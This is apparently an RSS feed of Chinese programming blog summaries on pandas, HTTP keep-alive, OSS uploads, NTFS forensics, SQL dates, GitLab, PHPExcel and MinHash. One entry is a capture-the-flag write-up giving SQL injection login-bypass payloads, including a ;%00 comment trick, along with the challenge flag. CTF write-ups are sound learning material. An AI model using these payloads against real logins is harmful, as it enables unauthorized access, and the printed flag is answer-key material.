      <pubDate>Wed, 29 Mar 2017 16:32:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33781fae08488b6f47770f277013b13b/</guid>
      <description> Dataframe结构放在numpy来看应该是二维矩阵的形式，每一列是一个特征，上面会有个列标题，每一行是一个样本。&#xA;对Dataframe结构的某一列进行排序方法如下：&#xA;# 对df表中的user_id这一列进行排序，默认是从小到大排 df = df.sort_index(by=&#39;user_id&#39;) 对多列进行排序方法如下： # 对user_id,sku_id这两列进行排序&#xD;df = df.sort_index(by=[&#39;user_id&#39;, &#39;sku_id&#39;]) </description>
    </item>
    <item>
      <title>长连接的定义及其优缺点</title>
      <link>https://bchobby.github.io/posts/51811d9ff1b15b435c7ba288aef2bc05/</link>
      <pubDate>Tue, 28 Mar 2017 18:38:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/51811d9ff1b15b435c7ba288aef2bc05/</guid>
      <description> HTTP长连接（持久化连接）: 在一个TCP连接的基础之上，发送多个HTTP请求以及接收多个HTTP响应，这是为了避免每一次请求都去打开一个新的连接。 以下是一张连接与接连接的区别&#xA;在HTTP 1.1标准中，所有的请求都认为是长连接，这个时候HTTP长连接的建立不再需要标识单独的长连接信息。然而，在apache2.0中默认的连接超时时间是15秒，而2.2中默认是5秒，减少超时时间是为了服务器能够响更多的请求。&#xA;长连接的优点：&#xA;1、减少CPU及内存的使用，因为不需要经常的建立及关闭连接，当然高峰并发时CPU及内存也是比较多的；&#xA;2、允许HTTP pipelining（HTTP 1.1中支持）的请求及响应模式：&#xA;为了便于理解HTTP pipelining，参见下图：&#xA;3、减少网络的堵塞，因为减少了TCP请求； 根据RFC 2616 (page 46)的标准定义，单个客户端不允许开启2个以上的长连接，这个标准的目的是减少HTTP响应的时候，减少网络堵塞&#xA;4、减少后续请求的响应时间，因为此时不需要建立TCP，也不需要TCP握手等过程；&#xA;5、当发生错误时，可以在不关闭连接的情况下进行提示；&#xA;长连接的缺点：可能会损害服务器的整体性能，如apache的长连接时间的长短，直接影响到服务器的并发数。&#xA;长连接在浏览器中的使用情况：&#xA;Netscape从4.05开始支持，Netscape不是通过timeout来关闭长连接，它是将空闲连接放置到一个队列中，当有需要向其它服务端建立长连接时，这个时候，它根据LRU(Least Recently Used)算法进行处理，即将最使少使用的空闲连接KILL掉；&#xA;IE从4.0.1开始支持，IE6、7只支持两个长连接，IE8支持6个，IE 60秒为默认的超时时间，这个值可以在注册表中修改；&#xA;FF类似IE通过timeout管理长连接，不过，默的是115秒，这个是可能通过配置进行更改的；&#xA;Opera从4.0开始支持长连接，长连接数可以自定义； </description>
    </item>
    <item>
      <title>Java使用阿里云OSS对象存储上传图片</title>
      <link>https://bchobby.github.io/posts/3b04d83ed23751602c09644ba2f02ea2/</link>
      <pubDate>Mon, 27 Mar 2017 10:47:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3b04d83ed23751602c09644ba2f02ea2/</guid>
      <description>示例说明&#xA;该案例是OSS Java SDK的示例程序，您可以修改endpoint、accessKeyId、accessKeySecret、bucketName后直接运行。&#xA;本示例中的并不包括OSS Java SDK的所有功能，详细功能及使用方法，请参看“SDK手册 &amp;gt; Java-SDK”，&#xA;链接地址是：https://help.aliyun.com/document_detail/oss/sdk/java-sdk/preface.html?spm=5176.docoss/sdk/java-sdk/&#xA;调用OSS Java SDK的方法时，抛出异常表示有错误发生；没有抛出异常表示成功执行。&#xA;当错误发生时，OSS Java SDK的方法会抛出异常，异常中包括错误码、错误信息，详细请参看“SDK手册 &amp;gt; Java-SDK &amp;gt; 异常处理”，&#xA;链接地址是：https://help.aliyun.com/document_detail/oss/sdk/java-sdk/exception.html?spm=5176.docoss/api-reference/error-response&#xA;OSS控制台可以直观的看到您调用OSS Java SDK的结果，OSS控制台地址是：https://oss.console.aliyun.com/index#/&#xA;OSS控制台使用方法请参看文档中心的“控制台用户指南”指南的链接地址是：&#xA;https://help.aliyun.com/document_detail/oss/getting-started/get-started.html?spm=5176.docoss/user_guide&#xA;OSS的文档中心地址是：https://help.aliyun.com/document_detail/oss/user_guide/overview.html&#xA;OSS Java SDK的文档地址是：https://help.aliyun.com/document_detail/oss/sdk/java-sdk/install.html?spm=5176.docoss/sdk/java-sdk&#xA;OSS开发过程中常见问题链接地址：https://help.aliyun.com/document_detail/32024.html?spm=5176.product31815.6.665.JuvIOS&#xA;开发环境：&#xA;开发工具：eclipse4.4+jdk7 均64位&#xA;OSS Java SDK依赖下列包：&#xA;aliyun-sdk-oss-2.2.1.jar hamcrest-core-1.1.jar jdom-1.1.jar commons-codec-1.9.jar httpclient-4.4.1.jar（重点） commons-logging-1.2.jar httpcore-4.4.1.jar（重点） log4j-1.2.15.jar 其中，log4j-1.2.15.jar是可选的，需要日志功能的时加入该包。其它包都是必不可少的。&#xA;解决办法：您的工程中在加入OSS Java SDK依赖的包，加入方法如下：&#xA;如果您的工程是Eclipse。请参考Java-SDK使用手册，”安装”-&amp;gt; “方式二：在Eclipse项目中导入工程依赖的包”； 如果您的工程是maven。则直接添加依赖即可如： &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.aliyun.oss&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aliyun-sdk-oss&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.5.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 代码： 阿里云OSS对象存储常量：&#xA;package com.qianjiang.util.aliyunoss; /** * @class:OSSClientConstants * @descript:阿里云注册用户基本常量 * @date:2017年3月16日 下午5:52:34 * @author sang */ public class OSSClientConstants { //阿里云API的外网域名 public static final String ENDPOINT = &#34;</description>
    </item>
    <item>
      <title>利用winhex在NTFS文件系统下定位文件，找到其目录项和簇号等等</title>
      <link>https://bchobby.github.io/posts/17ee743b7bb30397e77ef4c67147dd0a/</link>
      <pubDate>Sun, 26 Mar 2017 20:49:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17ee743b7bb30397e77ef4c67147dd0a/</guid>
      <description>软件安全的实验，记录一下，首先需要对NTFS文件系统有了解，有时间的推荐先看这篇博客&#xA;一、NTFS需要的基础&#xA;1、MFT：磁盘上的所有数据都是以文件的形式存储，其中包括元文件。 每个文件都有一个或多个文件记录，每个文件记录占用两个扇区 $MFT元文件就是专门记录每个文件的文件记录。 其中第五个目录是根目录的文件记录。 第一个目录是MFT本身的文件记录。&#xA;2、簇号： NTFS文件系统使用逻辑簇号（LCN）和虚拟簇号（VCN）对分区进行管理。 逻辑簇号：既对分区内的第一个簇到最后一个簇进行编号，NTFS使用逻辑簇号对簇进行定位。 虚拟簇号：既将文件所占用的簇从开头到尾进行编号的，虚拟簇号不要求在物理上是连续的。&#xA;3、索引项：每个文件在目录中有其索引项。结构如图：其中文件的MFT索引号（3个字节）是我们需要的，是虚拟索引号，是相对的。&#xA;4、属性（具体可以看博客）：&#xA;文件记录由两部分构成，一部分是文件记录头，另一部分是属性列表&#xA;10H类型属性它包含文件的一些基本信息&#xA;20H类型属性既属性列表，当一个文件需要好几个文件记录时，才会用到20H属性。&#xA;30H类型属，该属性用于存储文件名 ，它总是常驻属性。&#xA;80H属性 80H属性是文件数据属性，该属性容纳着文件的内容&#xA;5、runlist（在80或者A0属性里面可以找到）：&#xA;当属性不能存放完数据，系统就会在NTFS数据区域开辟一个空间存放，这个区域是以簇为单位的。&#xA;Run List就是记录这个数据区域的起始簇号和大小&#xA;举个栗子 31 0C 2C 22 45 其中3表示有3个字节表示这个数据流的开始簇号即 2C 22 45 1表示有1个字节描述这个数据流的大小即0C&#xA;当有多个Run List 的时候，都需要计算，并且相加，得到多个数据流。&#xA;二、具体实现（为了计算方便（懒），举例本机E盘上的一个140M左右的文件）&#xA;（1）选取的是文件12345aa.pdf，大小约140M：&#xA;（2）首先借助winhex工具打开可以直接得到其簇号，并且知道它直接位于E盘根目录之下（作为我们定位的验证）如下图： （3）大概的流程：&#xA;（MFT的结构一般第五个目录就是根目录，并且其一个目录一般都是2个扇区即一个字节，MFT逻辑簇号不是连续的，根目录也是，需要runlist来计算出，它到底有几个数据流，数据流的起始位置和大小分别是多少！）&#xA;算出MFT中第五个目录即根目录的扇区位置，转到该扇区得到根目录的runlist 计算出根目录所在的扇区，打开根目录，即可以找到我们的文件pdf 根据它在根目录中的数据找到它在MTF中的索引号，得到MTF中的记录 在MTF中找到它真正的数据流，即可以看到真正的文件内容。（因为大于100M，肯定是非常驻） （4）用winhex打开我们的磁盘E盘（每个偏移的具体含义参见更加详细的博客）&#xA;分析boot文件可以在0DH中得到一个簇有8个扇区的大小。&#xA;030-037H是MFT的开始簇号0x00 00 00 00 00 0C 00 00&#xA;040-043H是每个MFT记录的大小为0x00 00 00 F6个簇&#xA;1C-1FH是隐藏扇区（MBR到DBR） 0x 00 00 10 00簇 （5）计算MFT本身的数据流情况&#xA;跳转到MFT的第一个扇区即6291456扇区，在80h属性处得到rundate 33 80 D1 00 00 00 0C 起始簇号786432 大小为53632簇 包括214528个目录项</description>
    </item>
    <item>
      <title>关于String.valueOf()方法的使用</title>
      <link>https://bchobby.github.io/posts/552a34a32fd730877af04e85289703c2/</link>
      <pubDate>Sat, 25 Mar 2017 11:14:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/552a34a32fd730877af04e85289703c2/</guid>
      <description>1、由基本数据形态转换成String类型：(注意这些方法都是静态的 static) 由String类的valueOf()函数的躲在实现。 String.valueOf(boolean b) : 将 boolean 变量 b 转换成字符串 String.valueOf(char c) : 将 char 变量 c 转换成字符串 String.valueOf(char[] data) : 将 char 数组 data 转换成字符串 String.valueOf(char[] data, int offset, int count) : 将 char 数组 data 中 由 data[offset] 开始取 count 个元素 转换成字符串 String.valueOf(double d) : 将 double 变量 d 转换成字符串 String.valueOf(float f) : 将 float 变量 f 转换成字符串 String.valueOf(int i) : 将 int 变量 i 转换成字符串 String.</description>
    </item>
    <item>
      <title>通过PLSQL导入csv文件时出现乱码问题</title>
      <link>https://bchobby.github.io/posts/1a276ce7e2966d0b8a8864da58bd9282/</link>
      <pubDate>Thu, 23 Mar 2017 18:12:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a276ce7e2966d0b8a8864da58bd9282/</guid>
      <description>问题现象：从生产环境导入的csv文件，导入到测试环境数据库后发现同一列的数据有一部分是乱码，一部分是正常的。打开csv文件查看数据全部正常显示，无乱码； 问题解决： 第一步：先查看生产环境PLSQL客户端与本地的PLSQL字符编码是否一致，查询脚本为： select userenv(‘language’) from dual; 如不一致可在本地配置环境变量使其一致，配置方法为：我的电脑-&amp;gt;右键-&amp;gt;系统属性-&amp;gt;高级-&amp;gt;环境变量-&amp;gt;新建 变量名=NLS_LANG 变量值=AMERICAN_AMERICA.AL32UTF8 因为生产环境变量值是AMERICAN_AMERICA.AL32UTF8，所以我改成了一致；如果导入还是有乱码，请执行第二步； 第二步：将csv文件用UE打开，将字符编码改为utf-8,然后保存；新建一个excel文件-&amp;gt;数据-&amp;gt;自文本-&amp;gt;选择保存后的csv文件导入到excel，分隔符选择逗号，导入完成后再另存为csv文件。 第三步：从新用plsql导入csv文件，成功导入。&#xA;注意：当导入的数据是乱码时可能占用的字符长度也会有变化，所以即使是同样的表结构导入时也可能会报字段长度不够之类的错误。</description>
    </item>
    <item>
      <title>sql 获取当前系统时间</title>
      <link>https://bchobby.github.io/posts/cab00fc2b753670cd60fb61389f1bdbd/</link>
      <pubDate>Wed, 22 Mar 2017 14:14:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cab00fc2b753670cd60fb61389f1bdbd/</guid>
      <description> sql读取系统日期和时间的方法如下： --获取当前日期(如：yyyymmdd) select CONVERT (nvarchar(12),GETDATE(),112) --获取当前日期(如：yyyymmdd hh:MM:ss) select GETDATE() --获取当前日期(如：yyyy-mm-dd) Select Datename(year,GetDate())+&#39;-&#39;+Datename(month,GetDate())+&#39;-&#39;+Datename(day,GetDate()) --获取当前日期(如：yyyy/mm/dd) select DATENAME(YEAR,GETDATE())+&#39;/&#39;+DATENAME(MONTH,GETDATE())+&#39;/&#39;+DATENAME(DAY,GETDATE()) --获取几种日期 select DATENAME(YEAR,GETDATE()) --年份(YYYY) select DATENAME(YY,GETDATE()) select DATENAME(MM,GETDATE()) --月份 select DATENAME(DD,GETDATE()) --日期 select dateName(hh,getdate()) --获取小时 select DATENAME(MI,GETDATE()) --获取分钟 select DATENAME(SECOND,GETDATE()) --获取秒 select DATENAME(WEEK,GETDATE()) --获取当前星期(周)是这一年中的第几个星期(周) select DATENAME(WEEKDAY,GETDATE()) --星期几 --获取数据格式为(如：yyyy-mm-dd hh:MM:ss) select CONVERT (nvarchar(12),GETDATE(),112) select DATENAME(YEAR,GETDATE())+&#39;-&#39;+DATENAME(MONTH,GETDATE())+&#39;-&#39;+DATENAME(DAY,GETDATE())+&#39; &#39;+DATENAME(hh,GETDATE())+&#39;:&#39; +DATENAME(MI,GETDATE())+&#39;:&#39;+DATENAME(SECOND,GETDATE()) </description>
    </item>
    <item>
      <title>java.lang.ClassNotFoundException: sun.io.ByteToCharConverter</title>
      <link>https://bchobby.github.io/posts/2ac251de077f35ae8a7b85cde118b3e5/</link>
      <pubDate>Tue, 21 Mar 2017 14:57:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ac251de077f35ae8a7b85cde118b3e5/</guid>
      <description>Caused by: java.lang.ClassNotFoundException: sun.io.ByteToCharConverter&#xA;at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1698)&#xA;at org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1544)&#xA;at java.lang.Class.forName0(Native Method)&#xA;at java.lang.Class.forName(Unknown Source)&#xA;at com.ibm.db2.jcc.am.kg.run(kg.java:19)&#xA;出现这个错误的原因是db2的驱动里面需要用到sun.io.ByteToCharConverter这个类，但是我当前tomcat运行环境是1.8.11，里面没有这个类，改成1.7或者1.6的就OK了，修改如下：&#xA;点击Runtime Environment</description>
    </item>
    <item>
      <title>关于GitLab中文版的那点事儿</title>
      <link>https://bchobby.github.io/posts/39bcc21a85cab3c2b848aa8eabbba48a/</link>
      <pubDate>Mon, 20 Mar 2017 15:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39bcc21a85cab3c2b848aa8eabbba48a/</guid>
      <description>杂序 关于Git的那些事儿，这里不多说。Git这个极好用的分布式版本管理系统，不得不说给我们日常团队研发及代码管理带来了太多益处与效率。&#xA;如果要问我他是何方神圣，我只想说你可以关注下：&#xA;Git主页：https://git-scm.com/GitHub主页：https://github.com/GitLab主页：https://about.gitlab.com/&#xA;本文将以CentOS7为系统，介绍GitLab CE（社区版）。 环境搭建 安装GitLab 通过GitLab首页域名进入首页，选择Download，如下图：&#xA;点击Select Oprating System，弹出系统列表选择CentOS7，按照安装步骤向导进行安装。&#xA;1、安装系统以来软件包，并且打开http服务和系统防火墙&#xA;$ sudo yum install libsemanage-static libsemanage-devel $ sudo yum install curl policycoreutils openssh-server openssh-clients $ sudo systemctl enable sshd $ sudo systemctl start sshd $ sudo yum install postfix $ sudo systemctl enable postfix $ sudo systemctl start postfix $ sudo firewall-cmd --permanent --add-service=http $ sudo systemctl reload firewalld 2、编辑/etc/gitlab/gitlab.rb文件，配置STMP邮件发送服务&#xA;gitlab_rails[&#39;smtp_enable&#39;] = true gitlab_rails[&#39;smtp_address&#39;] = &#34;smtp.exmail.qq.com&#34; gitlab_rails[&#39;smtp_port&#39;] = 465 gitlab_rails[&#39;smtp_user_name&#39;] = &#34;</description>
    </item>
    <item>
      <title>PHPExcel 多工作表 导出</title>
      <link>https://bchobby.github.io/posts/540503b8308293b40e272867832421bf/</link>
      <pubDate>Mon, 20 Mar 2017 14:47:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/540503b8308293b40e272867832421bf/</guid>
      <description>//浏览器输出excel header(&#39;Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&#39;); header(&#39;Content-Disposition: attachment;filename=&#34;dzg_card_info.xlsx&#34;&#39;); header(&#39;Cache-Control: max-age=0&#39;); $this-&amp;gt;load-&amp;gt;library(&#39;PHPExcel&#39;); //加载类库,其他框架可以使用require_one $objPHPExcel = new PHPExcel(); $objPHPExcel-&amp;gt;setActiveSheetIndex(0); //设置第一个工作表为活动工作表 $objPHPExcel-&amp;gt;getActiveSheet()-&amp;gt;setTitle(&#39;card_info&#39;); //设置工作表名称 //为单元格赋值 //方法①:直接设置单元格的值 /* $objPHPExcel-&amp;gt;getActiveSheet()-&amp;gt;setCellValue(&#39;A1&#39;, &#39;PHPExcel&#39;); $objPHPExcel-&amp;gt;getActiveSheet()-&amp;gt;setCellValue(&#39;A2&#39;, 12345.6789); $objPHPExcel-&amp;gt;getActiveSheet()-&amp;gt;setCellValue(&#39;A3&#39;, TRUE); */ //方法②:二维数组 $arrHeader = array([&#39;id&#39;, &#39;名字&#39;, &#39;技能&#39;, &#39;创建时间&#39;]); $arrAllCardInfo = $this-&amp;gt;admin_model-&amp;gt;getAllCardInfo(); //二维数组 $arrExcelInfo = array_merge($arrHeader, $arrAllCardInfo); $arrExcelInfo = eval(&#39;return &#39; . iconv(&#39;gbk&#39;, &#39;utf-8&#39;, var_export($arrExcelInfo, true)) . &#39;;&#39;); //将数组转换成utf-8 $objPHPExcel-&amp;gt;getActiveSheet()-&amp;gt;fromArray( $arrExcelInfo, // 赋值的数组 NULL, // 忽略的值,不会在excel中显示 &#39;A1&#39; // 赋值的起始位置 ); //创建第二个工作表 $msgWorkSheet = new PHPExcel_Worksheet($objPHPExcel, &#39;card_message&#39;); //创建一个工作表 $objPHPExcel-&amp;gt;addSheet($msgWorkSheet); //插入工作表 $objPHPExcel-&amp;gt;setActiveSheetIndex(1); //切换到新创建的工作表 $arrHeader = array([&#39;id&#39;, &#39;uid&#39;, &#39;描述&#39;]); $arrBody = $this-&amp;gt;admin_model-&amp;gt;getAllCardMsg(); $arrExcelInfo = array_merge($arrHeader, $arrBody); $arrExcelInfo = eval(&#39;return &#39; .</description>
    </item>
    <item>
      <title>【原创】python&amp;nbsp;简繁体转换</title>
      <link>https://bchobby.github.io/posts/142b562c910c449c22a59a58bd3e1a67/</link>
      <pubDate>Mon, 20 Mar 2017 14:43:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/142b562c910c449c22a59a58bd3e1a67/</guid>
      <description> 比较不错的简繁体转换 pyjft (百度云盘下载)，注意：不能有逗号等特殊符号~~ 现在合并到： pyzh 这个就是简繁体转换关键代码 谷歌 code下载pyjft.py。 &amp;gt;&amp;gt;&amp;gt; a=u&#39;飞机飞向蓝天&#39; &amp;gt;&amp;gt;&amp;gt; res= jft.j2f(&#39;gbk&#39;,&#39;utf8&#39;,a.encode( &#39;gbk&#39;)).decode(&#39;utf8&#39;) 飞机飞向蓝天 &amp;gt;&amp;gt;&amp;gt; res u&#39;\u98db\u6a5f\u98db\u5411\ u85cd\u5929&#39; &amp;gt;&amp;gt;&amp;gt; print res 飛機飛向藍天 &amp;gt;&amp;gt;&amp;gt; from __future__ imports must occur at the beginning of the file </description>
    </item>
    <item>
      <title>实验吧登陆一下好吗??WP</title>
      <link>https://bchobby.github.io/posts/810e07f78eb5d290ca79479f1692cda3/</link>
      <pubDate>Sun, 19 Mar 2017 15:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/810e07f78eb5d290ca79479f1692cda3/</guid>
      <description> 登陆一下好吗??（http://www.shiyanbar.com/ctf/1942） username= 1’=’0 password= 1’=’0 或者 username=what’=’ password=what’=’ 或者 username:admin’=’ password:admin’=’ 得到ctf{51d1bf8fb65a8c2406513ee8f52283e7} 好吧，其实我提供的只是万能密码尝试而已，真正的writeup在这里（by wonderkun,侵删）：&#xA;根据题目的提示，获知该题目的目的使用sql注入来绕过登陆。&#xA;猜测后台的sql应该是&#xA;select * from table where username= ‘ username′andpassword=′ password’&#xA;进过测试，发现过滤了以下字符 | , – , or , union , # , select ,* ,/ 这写字符没办法绕过。&#xA;但是为了登陆成功，需要让 sql语句返回true。 除了pact想到的同双等号绕外，还有一种方法，主要用到以下两个技巧： 第一： mysql的数据类型转换特性。 通过这个图，应该可以看明白啦， user是一个字符串类型的，当他接受到一个整型值切值为0的时候，就会返回数据库的所有条目。 一个字符串加一个整形，会自动的变量类型转换，变为一个整型。 所以，只需要让sql执行 select * from table where username=’a’+0;&#xA;就可以返回一个ture了，但是你会发现注释符全部过滤啦，后面的部分去不掉，这时候你需要知道下面的姿势。&#xA;第二： mysql的注释符除了 – + ， # ，/**/ 之外，还有一个 ;%00 ，很多人都不知道最后一个。&#xA;所以最后的payload 是这样的: username=a’+0;%00&amp;amp;password= </description>
    </item>
    <item>
      <title>文档的相似度（2）--最小哈希签名</title>
      <link>https://bchobby.github.io/posts/9d006f4f4c19e3f4f6ba0d4b6d934acf/</link>
      <pubDate>Sat, 18 Mar 2017 23:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9d006f4f4c19e3f4f6ba0d4b6d934acf/</guid>
      <description>接着上一篇的博客继续下去，这篇博客主要讲下最小哈希签名的东西。&#xA;对于上篇博客中提到的shingle，可以说是在压缩数据量的基础上又尽可能保留了源文档的特征，以便于后面对不同的文档进行相似度比较。但是我们会发现，shingle集合非常大，即使将每个shingle都哈希为4个字节，一篇文档的shingle集合所需要的空间仍然大概是该文档所需空间的4倍（这是因为shingle分词的特性，导致分词后shingle的 个数略等于文档中字母的个数，而一个字母一般在计算机中占一个字节，shingle哈希占了4个字节，故而是4倍左右）。那么可想而知，如果有数百万篇文档，很可能不能将这些文档的shingle集合都放入内存中，或者及时所有的集合都可以放入到内存中，那所需要对的数目也可能会多到无法估计没对的相似度。&#xA;这里就需要将上述大集合替换成规模很多的“签名”（signature）表示。所谓签名，在日常生活中我们很多地方都需要签名，进而代表我们个人，我们这里的“签名”其实代表的 就是一篇文档，它是由文档中经过特殊方法选择出的具有代表性的数据组成。对于签名而言，我们所需要的重要特征是能够仅仅通过比较两篇文档的签名集合就可以估计实际shingle集合之间的Jaccard相似度。当然，通过签名无法得到原始shingle集合之间Jaccard相似度的精确值，但是估计结果与真实结果相差不大，并且签名集合越大，估计的精度越高。例如，50000字节文档的shingle可能会映射为200000字节的哈希结果，然后替换成1000字节大小的签名集合。基于最终签名集合得到的原始文档Jaccard相似度的估计值与真实值的差异也就在几个百分点之内。&#xA;集合的矩阵表示&#xA;在介绍如何构建哈希签名之前，首先来说一下如何将一系列集合表示成其特征矩阵。矩阵的列对应集合，行对应全集（所有集合中可能的元素组成全集）中的元素。如果行r对应的元素属于列c对应的集合，那么矩阵第r行第r列的元素为1，否则为0。&#xA;例如：&#xA;下图给出了全集{a，b，c，d，e}中元素组成的多个集合的矩阵表示。这里S1={a，d}，S2={c}，S3={b，d，e}，S4={a，c，d}。图中最上面一行和最左边一列并非矩阵的一部分，而是表示各行和各列的含义。&#xA;图1&#xA;需要记住的是，特征矩阵并非数据真正的存储方式，但是作为数据可视化的一种方式则是非常有用的。在实际当中，数据不会存储为矩阵的一个原因是该矩阵往往非常稀疏（0的个数远多于1）。只存储1所在的位置能够大大节省存储的开销，同时又能完整地表示整个矩阵。另外一个原因是，数据往往基于其它目的而存储成其它格式。&#xA;最小哈希&#xA;想要构建的集合的签名由大量计算（比如数百次 ）的结果组成，而每次计算是特征矩阵的最小哈希过程。&#xA;为了对特征矩阵每列所表示的集合进行最小哈希计算，首先选择行的一个排列转换（即是将行号重新排列）。任意一列的最小哈希值是在排列转换后的行排列次序下第一个列值为1的行的行号。&#xA;例如：&#xA;对于图1中的矩阵，假定采用beadc的行序重新排列，如下图。改排列转换定义了一个最小哈希函数h，它将某个集合映射成一行。接下来我们基于函数h计算集合S1的最小哈希值。按照beacd的顺序来扫描集合S1所对应的第一列，由于b行对应的值为0，所以需要往下继续扫描到e行，即排列转换次序中的第二行，其对应的S1列的值仍然是0.于是再往下处理到行a，此时其对应的值为1，因此，就有了h（S1）=a。&#xA;尽管物理上不可能对非常大的特征矩阵进行排列转换，最小哈希 函数h却隐式地将图1矩阵的行重新排列，使之变成图2中的举证。在新矩阵中，h函数的值可以通过从上往下扫描至遇到1为止。因此，我们有h（S2）=c、h（S3）=b及h（S4）=a。&#xA;图2&#xA;最小哈希及Jaccard相似度&#xA;在集合的Jaccard相似度及集合的最小哈希函数值之间存在着非同寻常的关联：&#xA;□ 两个集合经随机排列转换之后得到的两个最小哈希值相等的概率等于这两个集合的Jaccard相似度。&#xA;为了理解上述结论的原因，必须要对两个集合同一列对应的所有可能结果进行枚举。假设只考虑结合S1和S2所对应的列，那么他们所在的行可以按照所有可能的结果分成三类：&#xA;（1）数据X类的行，两列的值均为1；&#xA;（2）数据Y类的行，其中一列的值为0，另一列的值为1；&#xA;（3）属于Z类的行，两列的值均为0。&#xA;由于特征矩阵十分稀疏，因此大部分行都属于Z类。但是X和Y类行数目的比例决定了SIM（S1，S2）及概率h（S1）=h（S2）的大小。假定X类行的数目为x，Y类的行的数目为ym，则SIM（S1，S2）=x/(x+y)。原因是S1∩S2的大小为x而S1∪S2的大小为x+y。&#xA;接下来考虑h（S1）=h（S2）的概率。设想所有行进行随机排列转换，然后我们从上到下进行扫描处理，在碰到Y类行之前碰到X类行的概率为x/(x+y)。但是如果从上往下扫描遇到的除Z类行之外的第一行属于X类，那么肯定有h（S1）=h（S2）。另一方面，如果首先碰到的是Y类行，而不是Z类行，那么值为1的那个集合的最小哈希值为当前行。但值为0的那个集合必将会进一步扫描下去。因此 ，如果首先碰到Y类行，那么此时h（S1）≠h（S2）.于是，我们可以得到最终结论，即h（S1）=h（S2）的概率为x/(x+y)，而这也是两个集合Jaccard相似度的计算公式。&#xA;最小哈希签名&#xA;此处将会继续讲解前面介绍的一系列集合的特征矩阵表示M。为表示这些集合，我们随机选择n个排列转换用于矩阵M的行处理。其中n一般为一百或几百。对于集合S对应的列，分别调用这些排列转换所决定的最小哈希函数h1，h2，h3，.......，hn，则可以构建S的最小哈希签名向量[h1(S),h2(S),.......,hn(S)],该向量通常写成列向量方式。因此，基于矩阵M可以构建一个签名矩阵，其中M的每一列替换成该列所对应的最小哈希签名向量即可。&#xA;需要注意的是，签名矩阵与 M的列数相同但行数只有n。即使不显示表示M中的全部元素而采用适合于稀疏矩阵的某种压缩形式（比如只存储1所在的位置）来表示，通常情况下签名矩阵所需要的空间仍比矩阵M本身的表示空间要小许多。&#xA;最小哈希签名的计算&#xA;对于大规模特征矩阵进行显式排列转换是不可行的。即使对上百万甚至数十亿的行选择一个随机排列转换也是极其消耗时间，而对行进行必要的排序则需要花费更多的时间。因此，类似图2给出的排列转换的矩阵在概念上十分吸引人，但却缺乏可操作性。&#xA;幸运的是，我们可以通过一个随机哈希函数来模拟随机排列转化的效果，该函数将行号映射到与行数目大致相等的数量的桶中。通常而言，一个将整数0,1,2.....,k-1映射到桶号0,1,2,......,k-1的哈希函数会将某些整数对映射到同一个桶中，而有些桶却没有被任何整数映射到。然而，只要k很大且哈希结果冲突不太频繁的话，差异就不是很重要。于是，我们就可以继续假设哈希函数“h”将原来的第r行放在排列转换后次序中的第h（r）个位置上。&#xA;因此，我们就可以不对行选择n个随机排列转换，取而代之的是随机选择n个哈希函数h1，h2，.......，hn作用于行。在上述处理基础上，就可以根据每行在哈希之后的位置来构建签名矩阵。令SIG（i，c）为签名矩阵中第i个哈希函数在第c列上的元素。一开始，对于所有的i和c，将SIG（i，c）都初始化为∞。然后，对行进行如下操作：&#xA;（1）计算 h1（r），h2（r），......，hn（r）。&#xA;（2）对每列c进行如下操作：&#xA;（a）如果c在第r行为0，则什么也不做；&#xA;（b）否则，如果c在第r行为1，那么对于每个i=1,2，....，n，将SIG（i，c）置为原来的SIG（i，c）hi（r）之中的较小值。&#xA;例如：在此考虑图1对应的特征矩阵，我们在后面加上一些数据形成图3。另外将每一行替换成其对应的行号0,1，.....，4。选择的两个哈希函数分别为h1（x）=x+1 mod 5及h2（x）=3x+1 mod 5.两个哈希函数产生的结果显示在图3-4中的最后两列。注意到这里的两个简单哈希函数对应真正的行排列转换，当然这里这有当行数目为质数（这里为5， 这是为了避免不同的数之间具有相同的约数而导致余数会相等进而会被分配到一个桶号中，这就会产生冲突了）时才会有真正的排列转换。通常来说，哈希结果都会存在冲突，即至少有两行得到的哈希值相等。&#xA;图3&#xA;接下来 模拟计算签名矩阵的算法。一开始，签名矩阵全部都由∞构成：&#xA;首先 ，考虑图3中的第0行。此时，不论是h1（0）还是h2（0）的结果都是1。而只有集合S1和S4在第0行为1，因此签名矩阵中只有这两列的值需要修改。因为1&amp;lt;∞，因此实际上是对S1和S4的对应值进行修改，所以当前签名矩阵的估计结果为：&#xA;接下来，我们下移到图3中的第一行。对于该行，只有S3的值为1，此时其哈希值为h1（1）=2，h2（1）=4。因此，SIG（1,3）置为2，SIG（2,3）置为4。因为第一行中其它列的值均为0，所以签名矩阵的相应列的元素保持不变。于是，新的签名矩阵为：&#xA;图3第2行中只有S2和S4对应的列的值为1，且其哈希值h1（2）=3，h2（2）=2,。S4对应的标签名本应修改，但是签名矩阵中对应列值为[1,1]，因此其签名最后不会修改。而S2对应的列中仍然是初始值∞，我们将其修改为[3,2]，得到如下图：&#xA;再接下来处理图3中的第3行。此时只有S2对应的列的值不为1。而哈希值h1（3）=4，h2（3）=0。h1的结果已经超过了矩阵中所有列上的已有值，因此不需要修改签名矩阵的第一列的任一值。然而，h2的值为0小于矩阵元素，因此将SIG（2,1）、SIG（2,3）及SIG（2,4）减小为0。需要注意的是，由于图3中S2列在当前行的取值已经为0，因此SIG（2,2）不可能再减小。于是，此时得到的签名矩阵为：&#xA;最后考虑图3中的第4行，此时h1（4）=0，h2（4）=3。由于第4行只在S3列取值为1，我们仅